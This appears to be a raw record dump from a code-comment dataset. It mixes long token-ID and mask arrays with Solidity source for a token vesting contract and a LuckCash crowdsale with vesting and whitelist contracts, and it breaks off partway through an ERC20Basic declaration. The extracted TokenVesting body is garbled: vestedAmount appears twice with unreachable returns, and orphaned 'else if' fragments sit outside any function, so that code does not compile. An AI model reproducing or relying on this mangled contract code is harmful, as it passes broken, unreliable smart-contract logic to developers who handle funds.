273,
389,
995,
12565,
87,
63,
17016,
15533,
203,
5411,
309,
16051,
995,
12565,
18,
70,
321,
329,
13,
288,
203,
7734,
309,
261,
995,
12565,
18,
4793,
480,
1758,
12,
20,
3719,
288,
203,
10792,
327,
23178,
31,
203,
7734,
289,
203,
7734,
1323,
261,
3767,
13,
288,
203,
10792,
4306,
413,
31,
203,
10792,
23178,
273,
389,
995,
12565,
87,
63,
17016,
15533,
203,
10792,
309,
261,
995,
12565,
18,
4793,
480,
1758,
12,
20,
3719,
288,
203,
13491,
327,
23178,
31,
203,
10792,
289,
203,
7734,
289,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
3639,
15226,
16837,
1138,
1290,
3989,
19041,
1345,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x9FCcA2985dc4fcfdd5d948dD6eDFE1400e5584c7/sources/contracts/test/FantomAssetMock.sol | solhint-disable-previous-line no-empty-blocks | constructor(string memory symbol) ERC20(symbol, symbol) {
}
| 9,608,982 | [
1,
18281,
11317,
17,
8394,
17,
11515,
17,
1369,
1158,
17,
5531,
17,
7996,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
12,
1080,
3778,
3273,
13,
4232,
39,
3462,
12,
7175,
16,
3273,
13,
288,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
/**
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address tokenOwner) public view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _start the time (as Unix time) at which point vesting starts
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20 token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20 token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20 token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20 token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
uint256 gap = 86400 * 30;
uint256 start_gap = block.timestamp.sub(start).div(gap).mul(gap);
return totalBalance.mul(start_gap).div(duration);
}
}
/**
* Don't accept ETH
*/
function () public payable {
revert();
}
} | beneficiary of tokens after they are released | contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20 token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20 token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20 token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20 token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
return totalBalance;
uint256 gap = 86400 * 30;
uint256 start_gap = block.timestamp.sub(start).div(gap).mul(gap);
return totalBalance.mul(start_gap).div(duration);
}
}
function vestedAmount(ERC20 token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
return totalBalance;
uint256 gap = 86400 * 30;
uint256 start_gap = block.timestamp.sub(start).div(gap).mul(gap);
return totalBalance.mul(start_gap).div(duration);
}
}
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
} else {
function () public payable {
revert();
}
} | 9,928,483 | [
1,
70,
4009,
74,
14463,
814,
434,
2430,
1839,
2898,
854,
15976,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
3155,
58,
10100,
353,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
4232,
39,
3462,
31,
203,
203,
565,
871,
10819,
72,
12,
11890,
5034,
3844,
1769,
203,
565,
871,
14477,
14276,
5621,
203,
203,
565,
1758,
1071,
27641,
74,
14463,
814,
31,
203,
203,
565,
2254,
5034,
1071,
927,
3048,
31,
203,
565,
2254,
5034,
1071,
787,
31,
203,
565,
2254,
5034,
1071,
3734,
31,
203,
203,
565,
1426,
1071,
5588,
504,
429,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
15976,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
1071,
22919,
31,
203,
203,
565,
3885,
12,
203,
3639,
1758,
389,
70,
4009,
74,
14463,
814,
16,
203,
3639,
2254,
5034,
389,
1937,
16,
203,
3639,
2254,
5034,
389,
830,
3048,
16,
203,
3639,
2254,
5034,
389,
8760,
16,
203,
3639,
1426,
389,
9083,
504,
429,
203,
565,
262,
203,
3639,
1071,
203,
565,
288,
203,
3639,
2583,
24899,
70,
4009,
74,
14463,
814,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
24899,
830,
3048,
1648,
389,
8760,
1769,
203,
203,
3639,
27641,
74,
14463,
814,
273,
389,
70,
4009,
74,
14463,
814,
31,
203,
3639,
5588,
504,
429,
273,
389,
9083,
504,
429,
31,
203,
3639,
3734,
273,
389,
8760,
31,
203,
3639,
927,
3048,
273,
389,
1937,
18,
1289,
24899,
830,
3048,
1769,
203,
3639,
787,
273,
389,
1937,
31,
203,
565,
289,
203,
203,
565,
445,
3992,
12,
654,
39,
3462,
2
] |
pragma solidity ^0.4.13;
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// Override this method to have a way to add business logic to your crowdsale when buying
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
return weiAmount.mul(rate);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
// overriding Crowdsale#hasEnded to add cap logic
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return capReached || super.hasEnded();
}
// overriding Crowdsale#validPurchase to add extra cap logic
// @return true if investors can buy at the moment
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return withinCap && super.validPurchase();
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract FinalizableCappedCrowdsale is CappedCrowdsale, Ownable {
bool public isFinalized = false;
bool public reconciliationDateSet = false;
uint public reconciliationDate = 0;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwnerOrAfterReconciliation public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function setReconciliationDate(uint _reconciliationDate) onlyOwner {
reconciliationDate = _reconciliationDate;
reconciliationDateSet = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
modifier onlyOwnerOrAfterReconciliation(){
require(msg.sender == owner || (reconciliationDate <= now && reconciliationDateSet));
_;
}
}
contract PoolSegregationCrowdsale is Ownable {
/**
* we include the crowdsale eventhough this is not treated in this contract (zeppelin's CappedCrowdsale )
*/
enum POOLS {POOL_STRATEGIC_INVESTORS, POOL_COMPANY_RESERVE, POOL_USER_ADOPTION, POOL_TEAM, POOL_ADVISORS, POOL_PROMO}
using SafeMath for uint;
mapping (uint => PoolInfo) poolMap;
struct PoolInfo {
uint contribution;
uint poolCap;
}
function PoolSegregationCrowdsale(uint _cap) {
poolMap[uint(POOLS.POOL_STRATEGIC_INVESTORS)] = PoolInfo(0, _cap.mul(285).div(1000));
poolMap[uint(POOLS.POOL_COMPANY_RESERVE)] = PoolInfo(0, _cap.mul(10).div(100));
poolMap[uint(POOLS.POOL_USER_ADOPTION)] = PoolInfo(0, _cap.mul(20).div(100));
poolMap[uint(POOLS.POOL_TEAM)] = PoolInfo(0, _cap.mul(3).div(100));
poolMap[uint(POOLS.POOL_ADVISORS)] = PoolInfo(0, _cap.mul(3).div(100));
poolMap[uint(POOLS.POOL_PROMO)] = PoolInfo(0, _cap.mul(3).div(100));
}
modifier onlyIfInPool(uint amount, uint poolId) {
PoolInfo poolInfo = poolMap[poolId];
require(poolInfo.contribution.add(amount) <= poolInfo.poolCap);
_;
poolInfo.contribution = poolInfo.contribution.add(amount);
}
function transferRemainingTokensToUserAdoptionPool(uint difference) internal {
poolMap[uint(POOLS.POOL_USER_ADOPTION)].poolCap = poolMap[uint(POOLS.POOL_USER_ADOPTION)].poolCap.add(difference);
}
function getPoolCapSize(uint poolId) public view returns(uint) {
return poolMap[poolId].poolCap;
}
}
contract LuckCashCrowdsale is FinalizableCappedCrowdsale, PoolSegregationCrowdsale {
// whitelist registry contract
WhiteListRegistry public whitelistRegistry;
using SafeMath for uint;
uint constant public CAP = 600000000*1e18;
mapping (address => uint) contributions;
/**
* event for token vest fund launch
* @param beneficiary who will get the tokens once they are vested
* @param fund vest fund that will received the tokens
* @param tokenAmount amount of tokens purchased
*/
event VestedTokensFor(address indexed beneficiary, address fund, uint256 tokenAmount);
/**
* event for finalize function call at the end of the crowdsale
*/
event Finalized();
/**
* event for token minting for private investors
* @param beneficiary who will get the tokens once they are vested
* @param tokenAmount amount of tokens purchased
*/
event MintedTokensFor(address indexed beneficiary, uint256 tokenAmount);
/**
* @dev Contract constructor function
* @param _startTime The timestamp of the beginning of the crowdsale
* @param _endTime Timestamp when the crowdsale will finish
* @param _rate The token rate per ETH
* Percent value is saved in crowdsalePercent.
* @param _wallet Multisig wallet that will hold the crowdsale funds.
* @param _whiteListRegistry Address of the whitelist registry contract
*/
function LuckCashCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _whiteListRegistry) public
CappedCrowdsale(CAP.mul(325).div(1000))
PoolSegregationCrowdsale(CAP)
FinalizableCappedCrowdsale()
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
require(_whiteListRegistry != address(0));
whitelistRegistry = WhiteListRegistry(_whiteListRegistry);
LuckCashToken(token).pause();
}
/**
* @dev Creates LuckCashToken contract. This is called on the Crowdsale contract constructor
*/
function createTokenContract() internal returns(MintableToken) {
return new LuckCashToken(CAP); // 600 million cap
}
/**
* @dev Mintes fresh token for a private investor.
* @param beneficiary The beneficiary of the minting
* @param amount The total token amount to be minted
*/
function mintTokensFor(address beneficiary, uint256 amount, uint poolId) external onlyOwner onlyIfInPool(amount, poolId) {
require(beneficiary != address(0) && amount != 0);
// require(now <= endTime);
token.mint(beneficiary, amount);
MintedTokensFor(beneficiary, amount);
}
/**
* @dev Creates a new contract for a vesting fund that will release funds for the beneficiary every quarter
* @param beneficiary The beneficiary of the funds
* @param amount The total token amount to be vested
* @param quarters The number of quarters over which the funds will vest. Every quarter a sum equal to amount.quarters will be release
*/
function createVestFundFor(address beneficiary, uint256 amount, uint256 quarters, uint poolId) external onlyOwner onlyIfInPool(amount, poolId) {
require(beneficiary != address(0) && amount != 0);
require(quarters > 0);
// require(now <= endTime);
VestingFund fund = new VestingFund(beneficiary, endTime, quarters, token); // the vesting period starts when the crowdsale has ended
token.mint(fund, amount);
VestedTokensFor(beneficiary, fund, amount);
}
/**
* @dev overrides Crowdsale#validPurchase to add whitelist logic
* @return true if buyers is able to buy at the moment
*/
function validPurchase() internal view returns(bool) {
return super.validPurchase() && canContributeAmount(msg.sender, msg.value);
}
function transferFromCrowdsaleToUserAdoptionPool() public onlyOwner {
require(now > endTime);
super.transferRemainingTokensToUserAdoptionPool(super.getTokenAmount(cap) - super.getTokenAmount(weiRaised));
}
/**
* @dev finalizes crowdsale
*/
function finalization() internal {
token.finishMinting();
LuckCashToken(token).unpause();
wallet.transfer(this.balance);
super.finalization();
}
/**
* @dev overrides Crowdsale#forwardFunds to report of funds transfer and not transfer into the wallet untill the end
*/
function forwardFunds() internal {
reportContribution(msg.sender, msg.value);
}
function canContributeAmount(address _contributor, uint _amount) internal view returns (bool) {
uint totalAmount = contributions[_contributor].add(_amount);
return whitelistRegistry.isAmountAllowed(_contributor, totalAmount);
}
function reportContribution(address _contributor, uint _amount) internal returns (bool) {
contributions[_contributor] = contributions[_contributor].add(_amount);
}
}
contract VestingFund is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
// beneficiary of tokens after they are released
address public beneficiary;
ERC20Basic public token;
uint256 public quarters;
uint256 public start;
uint256 public released;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, tokens are release in an incremental fashion after a quater has passed until _start + _quarters * 3 * months.
* By then all of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _quarters number of quarters the vesting will last
* @param _token ERC20 token which is being vested
*/
function VestingFund(address _beneficiary, uint256 _start, uint256 _quarters, address _token) public {
require(_beneficiary != address(0) && _token != address(0));
require(_quarters > 0);
beneficiary = _beneficiary;
quarters = _quarters;
start = _start;
token = ERC20Basic(_token);
}
/**
* @notice Transfers vested tokens to beneficiary.
*/
function release() public {
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released = released.add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
*/
function releasableAmount() public view returns(uint256) {
return vestedAmount().sub(released);
}
/**
* @dev Calculates the amount that has already vested.
*/
function vestedAmount() public view returns(uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released);
if (now < start) {
return 0;
}
uint256 dT = now.sub(start); // time passed since start
uint256 dQuarters = dT.div(90 days); // quarters passed
if (dQuarters >= quarters) {
return totalBalance; // return everything if vesting period ended
} else {
return totalBalance.mul(dQuarters).div(quarters); // ammount = total * (quarters passed / total quarters)
}
}
}
contract WhiteListRegistry is Ownable {
mapping (address => WhiteListInfo) public whitelist;
using SafeMath for uint;
struct WhiteListInfo {
bool whiteListed;
uint minCap;
uint maxCap;
}
event AddedToWhiteList(
address contributor,
uint minCap,
uint maxCap
);
event RemovedFromWhiteList(
address _contributor
);
function addToWhiteList(address _contributor, uint _minCap, uint _maxCap) public onlyOwner {
require(_contributor != address(0));
whitelist[_contributor] = WhiteListInfo(true, _minCap, _maxCap);
AddedToWhiteList(_contributor, _minCap, _maxCap);
}
function removeFromWhiteList(address _contributor) public onlyOwner {
require(_contributor != address(0));
delete whitelist[_contributor];
RemovedFromWhiteList(_contributor);
}
function isWhiteListed(address _contributor) public view returns(bool) {
return whitelist[_contributor].whiteListed;
}
function isAmountAllowed(address _contributor, uint _amount) public view returns(bool) {
return whitelist[_contributor].maxCap >= _amount && whitelist[_contributor].minCap <= _amount && isWhiteListed(_contributor);
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
